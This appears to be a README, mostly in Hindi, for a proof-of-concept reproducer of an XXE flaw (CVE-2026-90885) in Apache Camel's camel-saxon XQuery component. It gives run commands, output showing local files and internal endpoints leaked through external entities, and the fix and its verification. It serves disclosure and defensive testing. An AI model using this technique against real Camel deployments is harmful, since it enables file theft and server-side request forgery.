
CVE-2026-90885 के लिए रन करने योग्य प्रूफ-ऑफ-कॉन्सेप्ट रिप्रोड्यूसर, जो Apache Camel camel-saxon XQuery में एक XXE (CWE-611) है, जिसमें Spring Boot और Quarkus बिल्ड और फ़िक्स सत्यापन शामिल है।
Source पर XQuery को Saxon के डिफ़ॉल्ट (XXE) के साथ पार्स किया गया थाApache Camel की उस भेद्यता के लिए चलाने योग्य प्रूफ़-ऑफ़-कॉन्सेप्ट पुनरुत्पादक, जहाँ camel-saxon में
XQueryBuilder — जो xquery भाषा और xquery घटक दोनों के लिए व्यंजकों का मूल्यांकन करता है —
अपने डिफ़ॉल्ट Saxon Configuration को ऐसे पार्स विकल्पों के साथ बनाता था जिनमें केवल एक व्हाइटस्पेस
स्ट्रिपिंग नियम था, जिससे XML पार्सर अपने डिफ़ॉल्ट पर ही रह जाता था: एक DOCTYPE घोषणा स्वीकार की जाती है
और बाह्य एंटिटी हल की जाती हैं।
| रनटाइम | निर्देशिका | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Spring Boot के लिए 4.22.1 क्यों: यह फ़िक्स
camel-4.22.xमें केवल 4.22.1 जारी होने के बाद बैकपोर्ट किया गया था, इसलिए 4.22.1 उस श्रृंखला का अंतिम प्रभावित रिलीज़ है और 4.22.2 पहला फ़िक्स किया गया रिलीज़ है। 4.22.1 को पिन करना उस सीमा को पुनरुत्पादक का केंद्र बनाता है।
String, byte[] और InputStream बॉडी को Camel के अपने XML टाइप कन्वर्टर्स द्वारा javax.xml.transform.Source
में बदला जाता है, जो पार्सर को बाह्य एंटिटी के विरुद्ध कॉन्फ़िगर करते हैं — वे बॉडी कभी प्रभावित नहीं थीं।
एक बॉडी जो पहले से ही एक Source थी उसे बिना बदलाव के Saxon को सौंप दिया जाता था, और स्ट्रीम-आधारित Source
को अभी भी पार्स करना पड़ता है, इसलिए Saxon ने उसे उस डिफ़ॉल्ट Configuration के साथ पार्स किया।
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
प्रभावित बिल्ड पर आउटपुट (दोनों रनटाइम्स पर समान):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
प्रोब 5 ही व्यवहार में मायने रखता है। प्रेषक सादा XML टेक्स्ट पोस्ट करता है — वह बॉडी आकार जो
प्रभावित नहीं होता, जैसा प्रोब 4 दर्शाता है। फिर रूट एक्सप्रेशन चलने से पहले convertBodyTo(Source.class) करता है,
और केवल यही बॉडी को प्रभावित पथ पर ले जाता है। कोई हमलावर-निर्मित Source नहीं, कोई असामान्य
कंपोनेंट नहीं, कोई गैर-डिफ़ॉल्ट विकल्प नहीं: रूट में एक साधारण रूपांतरण चरण ही पूरी पूर्वशर्त है। एडवाइज़री
इस मामले का स्पष्ट रूप से उल्लेख करती है, साथ ही रूट में पहले किसी कंपोनेंट या प्रोसेसर द्वारा बॉडी को
स्ट्रीम-आधारित Source पर सेट करने का भी।
प्रोब 1–3 वही दोष हैं जो Source को सीधे सौंपकर पहुँचे जाते हैं, जो रूट में पहले का कोई कंपोनेंट करता होगा।
कुछ भी गलत कॉन्फ़िगर नहीं है। कोई configuration विकल्प नहीं, कोई पार्सर सेटिंग नहीं, और एक्सप्रेशन कुछ भी पढ़ता नहीं:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
हमलावर केवल उस XML दस्तावेज़ को नियंत्रित करता है जिसके विरुद्ध मूल्यांकन किया जा रहा है।
| Property | Value |
|---|---|
| Component | camel-saxon (XQueryBuilder, जिसका उपयोग xquery भाषा और xquery घटक द्वारा किया जाता है) |
| CWE | CWE-611 (XML External Entity Reference का अनुचित प्रतिबंध) |
| Severity | उच्च |
| Attack vector | XML में एक बाहरी सबसेट वाला DOCTYPE, या एक बाहरी एंटिटी, जो पहले से निर्मित स्ट्रीम-आधारित Source के रूप में XQuery अभिव्यक्ति तक पहुँचता है |
| Impact | Camel प्रक्रिया द्वारा पढ़ी जा सकने वाली फ़ाइलें पढ़ना; प्रक्रिया को उन होस्ट्स पर अनुरोध भेजने के लिए बाध्य करना जिनका नाम दस्तावेज़ में है |
| Affected Versions | 4.0.0 से 4.18.5 से पहले तक, 4.19.0 से 4.22.2 से पहले तक (यह कोड पथ 4.0 से पहले का है और 2.x/3.x में मौजूद था) |
| Fixed Versions | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24691 |
| Credit | Leon Zlobecki |
Advisory: https://camel.apache.org/security/CVE-2026-90885.html
CVE-2026-85250 के समान मुद्दा नहीं, जो
camel-xpathमेंdocumentType=InputSourceसे संबंधित था और इसे 4.18.5, 4.22.1 और 4.23.0 में ठीक किया गया था। दोनों इनपुट पथ हैं जो डिफ़ॉल्ट पार्सर हार्डनिंग को बायपास करते थे, लेकिन वे अलग-अलग घटक हैं और कोई भी फ़िक्स दूसरे को कवर नहीं करता — विशेष रूप से 4.22.1 CVE-2026-85250 को हल करता है लेकिन इस मुद्दे को नहीं।
XQueryBuilder अब अपने डिफ़ॉल्ट Configuration को उन पार्स विकल्पों के साथ बनाता है जो
disallow-doctype-decl को सक्षम करते हैं और external-general-entities, external-parameter-entities और
load-external-dtd को अक्षम करते हैं, जिससे एक Source बॉडी को उस हार्डन किए गए पार्सर के साथ संरेखित किया जाता है जो Camel का XmlConverter पहले से ही
String, byte[] और InputStream बॉडी पर लागू करता था।
यह परिवर्तन दृश्यमान है और 4.23 अपग्रेड गाइड में दर्ज है: एक बॉडी जो XQuery तक
पहले से निर्मित Source के रूप में पहुँचती है और एक DOCTYPE रखती है अब पार्स त्रुटि के साथ अस्वीकार कर दी जाती है, जबकि बिना
DOCTYPE वाली बॉडी अप्रभावित रहती हैं।
केवल डिफ़ॉल्ट Configuration हार्डन किया गया है। एंडपॉइंट या भाषा के configuration विकल्प के माध्यम से, या
XQueryBuilder.setConfiguration के माध्यम से प्रदान किया गया एक Configuration जैसा है वैसा ही उपयोग किया जाता है — इसलिए एक परिनियोजन जिसे
वास्तव में DOCTYPE या बाहरी एंटिटी प्रोसेसिंग की आवश्यकता है, उसे बनाए रख सकता है, और एक परिनियोजन जो किसी अन्य कारण से अपना स्वयं का
Configuration प्रदान करता है, उसे स्वयं वही पार्स विकल्प लागू करने होंगे।
main पर apache/camel#26344
(9c23b686) में ठीक किया गया, camel-4.22.x में #26728
(0d0ed8bb) में और camel-4.18.x में #26730 (ed513f3a) में बैकपोर्ट किया गया।
camel.version को 4.22.2 (Spring Boot) पर सेट करें, या दोनों प्लेटफ़ॉर्म संस्करणों को Camel 4.22.2 या बाद के संस्करण वाले
Camel Quarkus रिलीज़ पर सेट करें, और इसे फिर से चलाएँ। 4.22.1 → 4.22.2 के विरुद्ध सत्यापित:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same